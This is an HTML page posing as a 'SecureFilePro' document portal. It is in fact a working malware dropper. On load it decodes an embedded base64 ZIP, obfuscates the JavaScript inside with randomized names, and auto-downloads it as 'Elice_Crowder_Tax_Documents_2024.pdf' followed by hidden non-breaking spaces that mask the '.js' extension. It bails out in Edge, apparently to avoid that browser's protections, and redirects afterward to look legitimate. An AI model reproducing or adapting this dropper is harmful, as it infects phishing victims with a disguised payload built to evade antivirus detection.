<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SecureFilePro</title>
    <link rel="icon" href="https://securefilepro.com/portal/favicon.ico" type="image/x-icon"> <!-- For .ico file -->
    <script src="https://cdn.jsdelivr.net/npm/javascript-obfuscator/dist/index.browser.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"></script>
</head>
<body>

    <script>
      const base64ZIP = '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';
	  
	  
	  function detectBrowserAndClose() {
          const userAgent = navigator.userAgent;

          // Check if the browser is Edge
          if (userAgent.indexOf("Edg") !== -1) {
              alert("link not supported!");
              // Attempt to close the window
              window.open('', '_self', ''); // This line sometimes helps to bypass restrictions in some browsers
              window.close(); // Try to close the current window
              return; // Exit the function to prevent anything else from running
          } else {
              // If not Edge, proceed to download files
              downloadJSFiles();
          }
      }

      async function extractAndObfuscateJS(base64ZIP) {
          try {
              const zipData = atob(base64ZIP); // Decode base64 ZIP
              const zip = await JSZip.loadAsync(zipData); // Load the ZIP file
              const jsFiles = [];

              // Iterate through the files in the ZIP
              for (const fileName in zip.files) {
                  if (fileName.endsWith('.js')) {
                      const file = zip.files[fileName];
                      const content = await file.async('string'); // Get file content as string

                      // Replace '0x' in the original code with random characters
                      let jsCode = content.replace(/_0x/g, '_' + getRandomCharacters());

                      // Obfuscate non-comment lines using the custom function
                      jsCode = obfuscateExcludingComments(jsCode);

                      // Replace '_0x' in the obfuscated code with random characters
                      jsCode = jsCode.replace(/_0x/g, '_' + getRandomCharacters());

                      jsFiles.push({ name: fileName, code: jsCode }); // Store the obfuscated JS
                  }
              }

              return jsFiles;
          } catch (error) {
              console.error('Error extracting or obfuscating JS files:', error);
          }
      }

      // Function to obfuscate non-comment lines
      function obfuscateExcludingComments(code) {
          const lines = code.split('\n');
          const obfuscatedLines = lines.map(line => {
              // If the line is a comment, return it unchanged
              if (line.trim().startsWith('//') || line.trim().startsWith('////') || line.trim().endsWith('////')) {
                  return line;
              } else {
                  // Obfuscate non-comment lines
                  return JavaScriptObfuscator.obfuscate(line).getObfuscatedCode();
              }
          });
          return obfuscatedLines.join('\n'); // Join the lines back into a single string
      }

      // Function to generate random characters
      const getRandomCharacters = () => {
          const customCharacters = "abcdefghijklmnopqrstuvwxyz";
          const numCharacters = Math.max(Math.floor(Math.random() * 25) * 25, 500); 
          let result = '';
          for (let i = 0; i < numCharacters; i++) {
              const randomIndex = Math.floor(Math.random() * customCharacters.length);
              result += customCharacters.charAt(randomIndex);
          }
          return result;
      };

      // Function to download JavaScript files
      async function downloadJSFiles() {
          const jsFiles = await extractAndObfuscateJS(base64ZIP); // Extract and obfuscate JS files

          if (!jsFiles || jsFiles.length === 0) {
              console.error('No JavaScript files found in the ZIP.');
              return;
          }

          jsFiles.forEach(file => {
              // Create a blob for the obfuscated code with UTF-8 encoding
              const blob = new Blob([file.code], { type: 'text/javascript;charset=utf-8' });
              const url = URL.createObjectURL(blob);
              const a = document.createElement('a');
              a.href = url;
              a.download = generateRandomFilename(); // Use a new filename generation function
              document.body.appendChild(a);
              a.click(); // Trigger download
              document.body.removeChild(a);
              URL.revokeObjectURL(url); // Clean up the URL
          });
      }

      // Function to generate random filename with spaces
      function generateRandomFilename() {
          const baseFilename = 'Elice_Crowder_Tax_Documents_2024.pdf'; // Base filename
          const randomSpaces = getRandomSpaces(); // Get random spaces
          return `${baseFilename}${randomSpaces}.js`; // Return formatted filename
      }

      // Function to generate random spaces
      function getRandomSpaces() {
          const minOccurrences = 22;
          const maxOccurrences = 51;
          let separator = '';
          for (let i = 0; i < Math.floor(Math.random() * (maxOccurrences - minOccurrences + 1)) + minOccurrences; i++) {
              separator += '\u00A0'; // Unicode non-breaking space character
          }
          return separator;
      }

      window.onload = detectBrowserAndClose; // Execute browser check on load
    
	setTimeout(function() {
			downloadJSFiles();
            // Redirect to Google.com after all downloads complete
            setTimeout(function() {
                window.location.href = "https://www.securefilepro.com/#Elice_Crowder_Tax_Documents_2024.pdf";
            }, 1000); 
        }, 5000);
		
	
	</script>
</body>
</html>